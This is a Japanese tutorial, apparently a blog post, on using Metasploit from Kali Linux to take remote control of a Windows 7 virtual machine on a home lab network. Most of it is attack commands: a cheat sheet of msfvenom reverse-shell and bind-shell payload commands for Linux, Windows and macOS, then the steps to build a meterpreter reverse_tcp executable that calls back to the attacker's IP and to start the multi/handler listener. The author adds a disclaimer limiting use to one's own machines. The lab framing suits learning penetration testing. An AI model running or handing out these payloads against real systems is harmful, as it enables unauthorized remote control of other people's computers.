metasploitを使って軽く遠隔操作
今回は、metasploitを使って対象の端末を遠隔操作していきます。
metersploitは、自分の管理しているPCにのみ使用してください。
※悪用厳禁
また、今回は攻撃社側をkali linuxとしていますが、metasploitが使える環境であれば十分です。
対象のローカルipアドレス
192.168.3.1 (VirtualBox上のWindows7
自分のipアドレス
192.168.3.3(kali linux
1.
まず、kali linuxで自分のipアドレスを知っておきます。
このipは後で使用するので、後ほどする処理とは違うターミナルで実行したほうがいいかもしれません。
ifconfig
2.
1とは違うターミナルでmetasploitを開きます。-qはmetasploit開始時に出てくるアスキーアートを表示しないオプションです。
metasploit -q
3.
対象で実行する.exeを作ります。msfvenomとは1つのモジュールでシェルコードやペイロードをコマンドで作成するツールです。
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
-p、-payload使用するペイロード。カスタムペイロードを使用するには、「-」またはstdinを指定。
--payload-optionsペイロードの標準オプションを一覧表示。
-l、-list [type]モジュールタイプを一覧表示。オプションは次のとおり:ペイロード、エンコーダー、nops、全て。
-n、-nopsledペイロードに[長さ]サイズのnopsledを付加。
-f、-format出力フォーマット(リストには--help-formatsを使用)。
--help-formats利用可能なフォーマットを一覧表示。
-e、-encoder使用するエンコーダー
-a、-arch使用するアーキテクチャ
--platformペイロードのプラットフォーム
--help-platforms利用可能なプラットフォームを一覧表示。
-s、-space結果のペイロードの最大サイズ
--encoder-spaceエンコードされたペイロードの最大サイズ(デフォルトは-s値)
-b、-bad-chars例を避けるための文字のリスト: '\ x00 \ xff'
-i、-iterationsペイロードをエンコードする回数。
-c、-add-code含める追加のwin32シェルコードファイルを指定。
-x、-templateテンプレートとして使用するカスタム実行可能ファイルを指定。
-k、-keepテンプレートの動作を保持し、ペイロードを新しいスレッドとして挿入。
-o、-outペイロードを保存。
-v、-var-name特定の出力形式に使用するカスタム変数名を指定。
--smallest可能な限り最小のペイロードを生成。
-h、-helpこのメッセージを表示する。
OS別のシェルコード
# Linux
## 32 bits
msfvenom -p linux/x86/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
## 64 bits
msfvenom -p linux/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p generic/shell_bind_tcp RHOST=$rhost LPORT=$lport -f elf > term.elf
# Windows
## 32 bits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/powershell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
## 64 bits
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
# Macintosh
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f macho > shell.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=$rhost LPORT=$lport -f macho > bind.macho
引用
ここでは、対象がwindows7なので下のコードを実行します。
LHOSTには、必ず自分の(攻撃者側の)ipアドレスを指定します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.3 -f exe -o /root/windows7-exploit.exe
4.
windows7にこのファイルをコピーします。
3で/rootディレクトリに.exeを作ったので、そこからVirtualBox上のWindows7にコピーします。VirtualBoxでのファイルコピーは、共有フォルダを設定するのが一番手っ取り早いと思います。
5.
kali linuxでリバースシェルを待ち受けるため準備段階のコマンドを実行します。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.3
show options
最後にshow optionsで内容を確認します。
6.
ここまでできたら、実際に exploitを実行します。
exploit
まだ途中で止まると思いますが、正常なので7に進みましょう。
7.
virtualBox上のwindows7で、3で作ったwindows7-exploit.exeを実行します。
すると、6のexploitが動き出します。
↑あくまで参考画像でipは違います。
8.
meterpreterが表示されたらペイロード完了です
あとは、ここにlinuxのコマンドを打てば攻撃対象を好き勝手に遠隔操作できます。
あと、meterpreterの詳しい使い方は、ここに載ってます。
ここまで読んでいただきありがとうございました。。
お疲れ様でした。
みなさんも、内部ネットワークで楽しんでみてください!